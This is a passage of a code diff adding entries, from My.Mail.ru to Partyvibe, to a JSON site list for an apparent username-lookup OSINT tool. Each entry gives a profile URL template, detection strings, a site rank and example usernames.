"usernameClaimed": "524140807468", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@VK": { + "tags": [ + "ru" + ], + "type": "vk_id", + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/vk/{username}", + "usernameClaimed": "337779600", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@bk.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/bk/{username}/", + "usernameClaimed": "tanyagorohova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@gmail.com": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/gmail.com/{username}/", + "usernameClaimed": "chelsea121232", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@list.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/list/{username}/", + "usernameClaimed": "nickname", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@mail.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/mail/{username}/", + "usernameClaimed": "nickname", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@ya.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/ya.ru/{username}/", + "usernameClaimed": "hovsepovich", + "usernameUnclaimed": "MAlKOVyd" + }, + "My.Mail.ru@yandex.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/yandex.ru/{username}/", + "usernameClaimed": "proftek2015", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyAnimeList": { + "tags": [ + "movies" + ], + "checkType": "status_code", + "alexaRank": 869, + "urlMain": "https://myanimelist.net/", + "url": "https://myanimelist.net/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyFitnessPal": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "meta name=\"robots\" content=\"index,follow\"/>" + ], + "url": "https://mym.fans/{username}", + "usernameClaimed": "Djelizamay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyMiniFactory": { + "tags": [ + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 17860, + "urlMain": "https://www.myminifactory.com/", + "url": "https://www.myminifactory.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mybuilder": { + "tags": [ + "gb", + "hk", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 120038, + "urlMain": "https://www.mybuilder.com", + "url": "https://www.mybuilder.com/profile/view/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mydarling": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://mydarling.ru/", + "url": "http://mydarling.ru/page/{username}/frl-4", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 10282751 + }, + "Myjane": { + "tags": [ + "bg", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " - \u0416\u0435\u043d\u0441\u043a\u0438\u0435 \u0444\u043e\u0440\u0443\u043c\u044b myJane" + ], + "alexaRank": 101251, + "urlMain": "http://forum.myjane.ru/", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mylespaul": { + "tags": [ + "cl", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 126443, + "urlMain": "https://www.mylespaul.com", + "url": "https://www.mylespaul.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Mylot": { + "tags": [ + "fr", + "in", + "pl", + "us" + ], + "checkType": "status_code", + "alexaRank": 102219, + "urlMain": "https://www.mylot.com/", + "url": "https://www.mylot.com/{username}", + "usernameClaimed": "just4him", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mylove": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 499216, + "urlMain": "https://lovetalk.ru", + "url": "https://lovetalk.ru/{username}/#window_close", + "usernameClaimed": "lisa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Myspace": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "alexaRank": 1497, + "urlMain": "https://myspace.com/", + "url": "https://myspace.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mywed": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 107111, + "urlMain": "https://mywed.com/ru", + "url": "https://mywed.com/ru/photographer/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "N4g": { + "tags": [ + "gaming", + "news", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Member" + ], + "absenceStrs": [ + "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable." + ], + "alexaRank": 12402, + "urlMain": "https://n4g.com/", + "url": "https://n4g.com/user/home/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Naturalnews": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for cannot be found or is no longer available." + ], + "presenseStrs": [ + "All posts by" + ], + "url": "https://naturalnews.com/author/{username}/", + "usernameClaimed": "healthranger", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NICommunityForum": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "urlMain": "https://www.native-instruments.com/forum/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "alexaRank": 13739 + }, + "Ninjakiwi": { + "checkType": "message", + "absenceStrs": [ + "Ninja Kiwi - Free Online Games, Mobile Games & Tower Defense Games" + ], + "presenseStrs": [ + "Ninja Kiwi" + ], + "url": "https://ninjakiwi.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NN.RU": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 21588, + "urlMain": "https://www.nn.ru/", + "url": "https://{username}.www.nn.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NPM": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 5944, + "urlMain": "https://www.npmjs.com/", + "url": "https://www.npmjs.com/~{username}", + "usernameClaimed": "kennethsweezy", + "usernameUnclaimed": "noonewould" + }, + "NPM-Package": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 5944, + "urlMain": "https://www.npmjs.com/", + "url": "https://www.npmjs.com/package/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nairaland Forum": { + "tags": [ + "ng" + ], + "checkType": "message", + "presenseStrs": [ + "Time registered" + ], + "absenceStrs": [ + "404: Page Not Found." + ], + "alexaRank": 1060, + "urlMain": "https://www.nairaland.com/", + "url": "https://www.nairaland.com/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NameMC": { + "tags": [ + "us" + ], + "regexCheck": "^.{3,16}$", + "checkType": "message", + "presenseStrs": [ + "Minecraft Profile" + ], + "absenceStrs": [ + "row align-items-center" + ], + "alexaRank": 11172, + "urlMain": "https://namemc.com/", + "url": "https://namemc.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Namepros": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 10494, + "urlMain": "https://www.namepros.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NationStates Nation": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "Was this your nation? It may have ceased to exist due to inactivity, but can rise again!" + ], + "alexaRank": 76848, + "urlMain": "https://nationstates.net", + "url": "https://nationstates.net/nation={username}", + "usernameClaimed": "the_holy_principality_of_saint_mark", + "usernameUnclaimed": "noonewould" + }, + "NationStates Region": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "does not exist." + ], + "alexaRank": 76848, + "urlMain": "https://nationstates.net", + "url": "https://nationstates.net/region={username}", + "usernameClaimed": "the_west_pacific", + "usernameUnclaimed": "noonewould" + }, + "NationalgunForum": { + "disabled": true, + "tags": [ + "ca", + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 939645, + "urlMain": "https://www.nationalgunforum.com", + "url": "https://www.nationalgunforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Naturalworld": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 287413, + "urlMain": "https://naturalworld.guru", + "url": "https://naturalworld.guru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "mrseo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Naver": { + "tags": [ + "kr" + ], + "checkType": "status_code", + "alexaRank": 40, + "urlMain": "https://naver.com", + "url": "https://blog.naver.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "Needrom": { + "checkType": "status_code", + "url": "https://www.needrom.com/author/{username}/", + "usernameClaimed": "needrom", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nekto": { + "tags": [ + "pt", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "response_url", + "alexaRank": 68127, + "urlMain": "https://nekto.me", + "url": "https://nekto.me/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Neoseeker": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15939, + "urlMain": "https://www.neoseeker.com", + "url": "https://www.neoseeker.com/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nesiditsa": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 121651, + "urlMain": "https://nesiditsa.ru", + "url": "https://nesiditsa.ru/members/{username}/", + "usernameClaimed": "lara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Netvibes": { + "tags": [ + "business", + "fr" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 5730, + "headers": { + "User-Agent": "curl/7.64.1" + }, + "urlMain": "https://www.netvibes.com", + "url": "https://www.netvibes.com/{username}#General", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NetworkInformatica": { + "tags": [ + "tech" + ], + "errors": { + "The site is undergoing planned maintenance activity and is unavailable temporarily.": "Maintenance" + }, + "checkType": "status_code", + "alexaRank": 25661, + "urlMain": "https://network.informatica.com", + "url": "https://network.informatica.com/people/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Newgrounds": { + "absenceStrs": [ + "icon-steam" + ], + "presenseStrs": [ + "user-header-name" + ], + "url": "https://{username}.newgrounds.com", + "urlMain": "https://newgrounds.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 5584, + "tags": [ + "art", + "forum", + "gaming" + ] + }, + "Newreporter": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 246874, + "urlMain": "https://newreporter.org", + "url": "https://newreporter.org/author/{username}/", + "usernameClaimed": "lilya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nhl": { + "tags": [ + "by", + "cn", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 29704, + "urlMain": "https://nhl.ru", + "url": "https://nhl.ru/talks/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Nick-name.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 286897, + "urlMain": "https://nick-name.ru/", + "url": "https://nick-name.ru/nickname/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Niketalk": { + "ignore403": true, + "tags": [ + "fashion", + "forum", + "sport", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 214717, + "urlMain": "https://niketalk.com", + "url": "https://niketalk.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nixp": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1754765, + "urlMain": "https://www.nixp.ru/", + "url": "https://www.nixp.ru/user/{username}", + "usernameClaimed": "fly4life", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nkj": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 72346, + "urlMain": "https://www.nkj.ru/", + "url": "https://www.nkj.ru/forum/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "No-jus": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 9593539, + "urlMain": "https://no-jus.com", + "url": "https://no-jus.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "dronaz", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Noblogs": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-personal-li" + ], + "alexaRank": 113696, + "urlMain": "https://noblogs.org/", + "url": "https://noblogs.org/members/{username}/", + "usernameClaimed": "ushi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NotebookReview": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 48788, + "urlMain": "http://forum.notebookreview.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Numizmat": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://numizmat-forum.ru", + "url": "https://numizmat-forum.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solo", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7081718 + }, + "NuviGarmin": { + "disabled": true, + "tags": [ + "forum", + "ru", + "shopping" + ], + "checkType": "message", + "alexaRank": 8450923, + "urlMain": "https://nuvi.ru/", + "url": "https://nuvi.ru/forum/user/{username}/", + "usernameClaimed": "VitaliyK", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nxp": { + "tags": [ + "be", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No search results found." + ], + "alexaRank": 27704, + "urlMain": "https://community.nxp.com", + "url": "https://community.nxp.com/t5/forums/searchpage/tab/user?advanced=false&auto_complete=false&q={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nyaa.si": { + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "'s torrents" + ], + "url": "https://nyaa.si/user/{username}", + "usernameClaimed": "kouhy76", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nygunforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1069970, + "urlMain": "https://nygunforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OK": { + "tags": [ + "ru" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_.-]*$", + "checkType": "status_code", + "alexaRank": 57, + "urlMain": "https://ok.ru/", + "url": "https://ok.ru/{username}", + "usernameClaimed": "ok", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Office-forums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 373573, + "urlMain": "https://www.office-forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Offline.by": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 5846394, + "urlMain": "https://offline.by", + "usernameClaimed": "violetta", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oglaszamy24h": { + "checkType": "message", + "absenceStrs": [ + "Nieprawid\u0142owy link, w bazie danych nie istnieje u\u017cytkownik o podanym loginie" + ], + "presenseStrs": [ + "Profil u\u017cytkownika:" + ], + "url": "https://oglaszamy24h.pl/profil,{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oilcareer": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.oilcareer.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2233070 + }, + "Old-games": { + "tags": [ + "pt", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 104566, + "urlMain": "https://www.old-games.ru", + "url": "https://www.old-games.ru/forum/members/?username={username}", + "usernameClaimed": "viktort", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Olx.pl": { + "checkType": "message", + "absenceStrs": [ + "Przepraszamy, ale nie mo\u017cemy znale\u017a\u0107 takiej strony...", + "Nie znaleziono" + ], + "presenseStrs": [ + "Obserwuj wyszukiwanie" + ], + "url": "https://www.olx.pl/oferty/uzytkownik/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Omoimot": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 819273, + "urlMain": "https://omoimot.ru/", + "url": "https://omoimot.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OnanistovNet": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 160941, + "urlMain": "https://onanistov.net", + "url": "https://onanistov.net/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oncoforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "response_url", + "alexaRank": 427409, + "urlMain": "https://www.oncoforum.ru", + "url": "https://www.oncoforum.ru/blog/blogs/{username}/", + "usernameClaimed": "admin13", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Opelclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2894643, + "urlMain": "http://www.opelclub.ru", + "url": "http://www.opelclub.ru/forum/search.html?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OpenCollective": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Not found" + ], + "presenseStrs": [ + "Hero__StyledShortDescription" + ], + "alexaRank": 33595, + "urlMain": "https://opencollective.com/", + "url": "https://opencollective.com/{username}", + "usernameClaimed": "sindresorhus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OpenStreetMap": { + "tags": [ + "maps" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 5487, + "urlMain": "https://www.openstreetmap.org/", + "url": "https://www.openstreetmap.org/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oper": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 14170, + "urlMain": "https://www.oper.ru/", + "url": "https://www.oper.ru/visitors/info.php?t={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oracle Community": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 464, + "urlMain": "https://community.oracle.com", + "url": "https://community.oracle.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otechie": { + "tags": [ + "finance", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Start Conversation" + ], + "absenceStrs": [ + "Page not found!" + ], + "alexaRank": 1547027, + "urlMain": "https://otechie.com", + "url": "https://otechie.com/{username}", + "usernameClaimed": "neurobin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otzovik": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1785, + "urlMain": "https://otzovik.com/", + "url": "https://otzovik.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otzyvy": { + "tags": [ + "ru" + ], + "errors": { + "https://otzyvy.pro/captchacheck.php": "Site captcha" + }, + "checkType": "status_code", + "alexaRank": 90966, + "urlMain": "https://otzyvy.pro", + "url": "https://otzyvy.pro/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OurDJTalk": { + "engine": "XenForo", + "alexaRank": 1684108, + "urlMain": "https://ourdjtalk.com/", + "usernameClaimed": "steve", + "usernameUnclaimed": "noonewouldeverusethis", + "tags": [ + "forum", + "music" + ] + }, + "Ourfreedombook": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "presenseStrs": [ + "meta property=\"og:" + ], + "url": "https://www.ourfreedombook.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Outgress": { + "checkType": "message", + "absenceStrs": [ + "Outgress - Error" + ], + "url": "https://outgress.com/agents/{username}", + "urlMain": "https://outgress.com/", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Overclockers": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 25200, + "urlMain": "https://overclockers.ru", + "url": "https://overclockers.ru/cpubase/user/{username}", + "usernameClaimed": "Rasamaha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ow.ly": { + "checkType": "message", + "absenceStrs": [ + "Oops, an error occurred" + ], + "presenseStrs": [ + "Images" + ], + "url": "http://ow.ly/user/{username}", + "usernameClaimed": "StopAdMedia", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "P38forum": { + "urlSubpath": "/forums", + "engine": "vBulletin", + "urlMain": "http://p38forum.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 8436107 + }, + "PCGamer": { + "tags": [ + "gaming", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1367, + "urlMain": "https://pcgamer.com", + "url": "https://forums.pcgamer.com/members/?username={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PCPartPicker": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 4619, + "urlMain": "https://pcpartpicker.com", + "url": "https://pcpartpicker.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PRCY": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 21010, + "urlMain": "https://id.pr-cy.ru", + "url": "https://id.pr-cy.ru/user/profile/{username}/#/profile", + "usernameClaimed": "Elena", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PSNProfiles.com": { + "tags": [ + "gaming" + ], + "checkType": "response_url", + "alexaRank": 19795, + "urlMain": "https://psnprofiles.com/", + "url": "https://psnprofiles.com/{username}", + "errorUrl": "https://psnprofiles.com/?psnId={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "disabled": true + }, + "Packagist": { + "tags": [ + "in", + "jp" + ], + "checkType": "response_url", + "alexaRank": 10849, + "urlMain": "https://packagist.org/", + "url": "https://packagist.org/packages/{username}/", + "errorUrl": "https://packagist.org/search/?q={username}&reason=vendor_not_found", + "usernameClaimed": "psr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PacketStormSecurity": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Files: All Authors ≈ Packet Storm", + "No Results Found" + ], + "alexaRank": 84296, + "urlMain": "https://packetstormsecurity.com", + "url": "https://packetstormsecurity.com/files/authors/{username}/", + "usernameClaimed": "3nitro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Painters-online": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "alexaRank": 1800109, + "urlMain": "https://www.painters-online.co.uk", + "url": "https://www.painters-online.co.uk/artists/{username}/", + "usernameClaimed": "alanbickley", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Paltalk": { + "tags": [ + "sa", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "

Sorry, the profile you were looking for was not found

" + ], + "presenseStrs": [ + ">Member since" + ], + "alexaRank": 29905, + "urlMain": "https://www.paltalk.com", + "url": "https://www.paltalk.com/people/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pandia": { + "tags": [ + "news", + "ru" + ], + "checkType": "status_code", + "alexaRank": 7801, + "urlMain": "https://pandia.ru", + "url": "https://pandia.ru/user/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Parkrocker": { + "tags": [ + "de", + "forum" + ], + "engine": "XenForo", + "urlMain": "https://www.parkrocker.net", + "usernameClaimed": "diablo0106", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5359908 + }, + "Partyflock": { + "tags": [ + "in", + "nl" + ], + "checkType": "status_code", + "alexaRank": 564516, + "urlMain": "https://partyflock.nl", + "url": "https://partyflock.nl/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Partyvibe": { + "disabled": true, + "tags": [ + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 1234848, + "urlMain": "https://www.partyvibe.org", + "url": "https://www.partyvibe.org/members/{username}/", + 